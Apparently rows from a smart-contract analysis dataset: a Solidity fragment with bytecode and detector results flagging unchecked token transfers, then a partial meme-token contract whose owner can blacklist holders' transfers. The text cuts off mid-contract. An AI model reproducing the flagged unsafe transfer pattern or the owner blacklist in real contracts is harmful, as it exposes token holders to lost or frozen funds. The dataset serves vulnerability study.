function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedMessageHash = keccak256(prefix, messageHash);
return ecrecover(prefixedMessageHash, v, r, s) == _address;
}
// Common internal logic for all user signups
function _userSignUp(string casedUserName, address userAddress, bool delegated) internal {
require(bytes(casedUserName).length < 50);
bytes32 uncasedUserNameHash = keccak256(casedUserName.toSlice().copy().toString().lower());
require(!userDirectory[uncasedUserNameHash]._initialized);
userDirectory[uncasedUserNameHash] = User(casedUserName, userAddress, delegated, true);
nameDirectory[userAddress] = uncasedUserNameHash;
emit UserSignUp(casedUserName, userAddress, delegated);
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063026ff05e146100eb5780632b45bcf9146101025780632e5df0fe1461012d57806345004310146101df5780634bff50091461024857806369c212f61461036857806375d7e4bd1461042f57806385ba9a99146104865780638677ebe8146104bd5780638da5cb5b1461054f578063af933b57146105a6578063ba75d0de146105e9578063bed7437f14610614578063d35e656b14610657578063ecfbe70c146106d8578063f2fde38b1461073b575b600080fd5b3480156100f757600080fd5b5061010061077e565b005b34801561010e57600080fd5b50610117610a14565b6040518082815260200191505060405180910390f35b34801561013957600080fd5b506101dd600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610a1a565b005b3480156101eb57600080fd5b50610246600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610bb2565b005b34801561025457600080fd5b506102af600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610cd3565b60405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183151515158152602001828103825285818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b604051808060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103f35780820151818401526020810190506103d8565b50505050905090810190601f1680156104205780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561043b57600080fd5b50610444610fa8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049257600080fd5b506104bb6004803603810190808035906020019092919080359060200190929190505050610fce565b005b3480156104c957600080fd5b50610535600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506111ec565b604051808215151515815260200191505060405180910390f35b34801561055b57600080fd5b5061056461121a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b257600080fd5b506105e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061123f565b005b3480156105f557600080fd5b506105fe6112fb565b6040518082815260200191505060405180910390f35b34801561062057600080fd5b50610655600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611301565b005b34801561066357600080fd5b506106be600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113a0565b604051808215151515815260200191505060405180910390f35b3480156106e457600080fd5b50610739600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611444565b005b34801561074757600080fd5b5061077c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165d565b005b60006060600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915060046000836000191660001916815260200190815260200160002060010160159054906101000a900460ff1615156107fb57600080fd5b6004600083600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ad5780601f10610882576101008083540402835291602001916108ad565b820191906000526020600020905b81548152906001019060200180831161089057829003601f168201915b50505050509050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055600460008360001916600019168152602001908152602001600020600080820160006109239190611fa2565b6001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160146101000a81549060ff02191690556001820160156101000a81549060ff021916905550507f28f7ad4961343bc792aec8e7886fc38c6847f9cd253ec14a633ff3bed8370883816040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d65780820151818401526020810190506109bb565b50505050905090810190601f168015610a035780820380516001836020036101000a031916815260200191505b509250505060405180910390a15050565b60025481565b336003546000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050818173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610ae157600080fd5b505af1158015610af5573d6000803e3d6000fd5b505050506040513d6020811015610b0b57600080fd5b810190808051906020019092919050505010151515610b2957600080fd5b610b918760405180807f437265617465205261696e64726f70436c69656e7420487964726f204163636f81526020017f756e740000000000000000000000000000000000000000000000000000000000815250602301905060405180910390208888886111ec565b1515610b9c57600080fd5b610ba8888860016117b2565b5050505050505050565b336002546000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050818173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d6020811015610ca357600080fd5b810190808051906020019092919050505010151515610cc157600080fd5b610ccd843360006117b2565b50505050565b6060600080600080610ce486611aaa565b6040518082805190602001908083835b602083101515610d195780518252602082019150602081019050602083039250610cf4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020915060046000836000191660001916815260200190815260200160002090508060010160159054906101000a900460ff161515610d8257600080fd5b806000018160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010160149054906101000a900460ff16828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e525780601f10610e2757610100808354040283529160200191610e52565b820191906000526020600020905b815481529060010190602001808311610e3557829003601f168201915b5050505050925094509450945050509193909250565b60606000806000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915060046000836000191660001916815260200190815260200160002090508060010160159054906101000a900460ff161515610eeb57600080fd5b806000018160010160149054906101000a900460ff16818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f965780601f10610f6b57610100808354040283529160200191610f96565b820191906000526020600020905b815481529060010190602001808311610f7957829003601f168201915b50505050509150935093505050915091565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506064808273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156110b757600080fd5b505af11580156110cb573d6000803e3d6000fd5b505050506040513d60208110156110e157600080fd5b81019080805190602001909291905050508115156110fb57fe5b0481151561110557fe5b04831115151561111457600080fd5b600260648273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561117c57600080fd5b505af1158015611190573d6000803e3d6000fd5b505050506040513d60208110156111a657600080fd5b81019080805190602001909291905050508115156111c057fe5b048115156111ca57fe5b0482111515156111d957600080fd5b8260028190555081600381905550505050565b60006111fb8686868686611b76565b8061120f575061120e8686868686611c32565b5b905095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156112f7573d6000803e3d6000fd5b5050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806113ac83611aaa565b6040518082805190602001908083835b6020831015156113e157805182526020820191506020810190506020830392506113bc565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905060046000826000191660001916815260200190815260200160002060010160159054906101000a900460ff16915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a157600080fd5b8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb838373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561155c57600080fd5b505af1158015611570573d6000803e3d6000fd5b505050506040513d602081101561158657600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561161c57600080fd5b505af1158015611630573d6000803e3d6000fd5b505050506040513d602081101561164657600080fd5b810190808051906020019092919050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116f457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000603284511015156117c457600080fd5b6117e56117e06117db6117d687611da1565b611dcf565b611dfb565b611aaa565b6040518082805190602001908083835b60208310151561181a57805182526020820191506020810190506020830392506117f5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905060046000826000191660001916815260200190815260200160002060010160159054906101000a900460ff1615151561188157600080fd5b6080604051908101604052808581526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183151581526020016001151581525060046000836000191660001916815260200190815260200160002060008201518160000190805190602001906118f5929190611fea565b5060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160146101000a81548160ff02191690831515021790555060608201518160010160156101000a81548160ff02191690831515021790555090505080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081600019169055507fb6f889e15c40ddbb8ddbfcaa7c4eed2e6fce0fad3645124374fc19350f9cffc084848460405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183151515158152602001828103825285818151815260200191508051906020019080838360005b83811015611a68578082015181840152602081019050611a4d565b50505050905090810190601f168015611a955780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a150505050565b6060806000839150600090505b8151811015611b6c57611b218282815181101515611ad157fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002611e5d565b8282815181101515611b2f57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050611ab7565b8192505050919050565b60008573ffffffffffffffffffffffffffffffffffffffff16600186868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611c06573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614905095945050505050565b6000606060006040805190810160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250915081876040518083805190602001908083835b602083101515611ca75780518252602082019150602081019050602083039250611c82565b6001836020036101000a038019825116818451168082178552505050505050905001826000191660001916815260200192505050604051809103902090508773ffffffffffffffffffffffffffffffffffffffff16600182888888604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611d73573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16149250505095945050505050565b611da961206a565b600060208301905060408051908101604052808451815260200182815250915050919050565b611dd761206a565b60408051908101604052808360000151815260200183602001518152509050919050565b606080600083600001516040519080825280601f01601f191660200182016040528015611e375781602001602082028038833980820191505090505b509150602082019050611e538185602001518660000151611f57565b8192505050919050565b600060417f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015611ef95750605a7f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b15611f4e576020827f01000000000000000000000000000000000000000000000000000000000000009004017f0100000000000000000000000000000000000000000000000000000000000000029050611f52565b8190505b919050565b60005b602082101515611f7f5782518452602084019350602083019250602082039150611f5a565b6001826020036101000a0390508019835116818551168181178652505050505050565b50805460018160011615610100020316600290046000825580601f10611fc85750611fe7565b601f016020900490600052602060002090810190611fe69190612084565b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061202b57805160ff1916838001178555612059565b82800160010185558215612059579182015b8281111561205857825182559160200191906001019061203d565b5b5090506120669190612084565b5090565b604080519081016040528060008152602001600081525090565b6120a691905b808211156120a257600081600090555060010161208a565b5090565b905600a165627a7a72305820d8d621e5977afcb7ed1e3b24a046646b4976a199582fd16f8fb3a7db30f677b90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,489 |
0xEfBf37c00619ad3A8B2F15512D0e8cDF41645760 | /*
Ethereum Ethereum (eETH)
Telegram: https://t.me/EthereumEthereum
Introducing $eETH, the newest DeFi protocol brought to you by Xzibit.
Ethereum Ethereum allows you to DeFi your Ethereum while you Ethereum your DeFi.
This protocol features the latest in DeFi tech:
1. 1,000,000,000,000 Total Supply
2. 25% Burned
3. Full token pooled LP
4. Buy limit/cool down
5. Bot prevention and detection
6. 5% redistribution to holders
7. Fairest possible launch, no dev tokens
EEEEEEEEEEEEEEEEEEEEEETTTTTTTTTTTTTTTTTTTTTTTHHHHHHHHH HHHHHHHHH
E::::::::::::::::::::ET:::::::::::::::::::::TH:::::::H H:::::::H
E::::::::::::::::::::ET:::::::::::::::::::::TH:::::::H H:::::::H
EE::::::EEEEEEEEE::::ET:::::TT:::::::TT:::::THH::::::H H::::::HH
eeeeeeeeeeee E:::::E EEEEEETTTTTT T:::::T TTTTTT H:::::H H:::::H
ee::::::::::::ee E:::::E T:::::T H:::::H H:::::H
e::::::eeeee:::::eeE::::::EEEEEEEEEE T:::::T H::::::HHHHH::::::H
e::::::e e:::::eE:::::::::::::::E T:::::T H:::::::::::::::::H
e:::::::eeeee::::::eE:::::::::::::::E T:::::T H:::::::::::::::::H
e:::::::::::::::::e E::::::EEEEEEEEEE T:::::T H::::::HHHHH::::::H
e::::::eeeeeeeeeee E:::::E T:::::T H:::::H H:::::H
e:::::::e E:::::E EEEEEE T:::::T H:::::H H:::::H
e::::::::e EE::::::EEEEEEEE:::::E TT:::::::TT HH::::::H H::::::HH
e::::::::eeeeeeeeE::::::::::::::::::::E T:::::::::T H:::::::H H:::::::H
ee:::::::::::::eE::::::::::::::::::::E T:::::::::T H:::::::H H:::::::H
eeeeeeeeeeeeeeEEEEEEEEEEEEEEEEEEEEEE TTTTTTTTTTT HHHHHHHHH HHHHHHHHH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract eETH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ethereum Ethereum";
string private constant _symbol = 'eETH';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
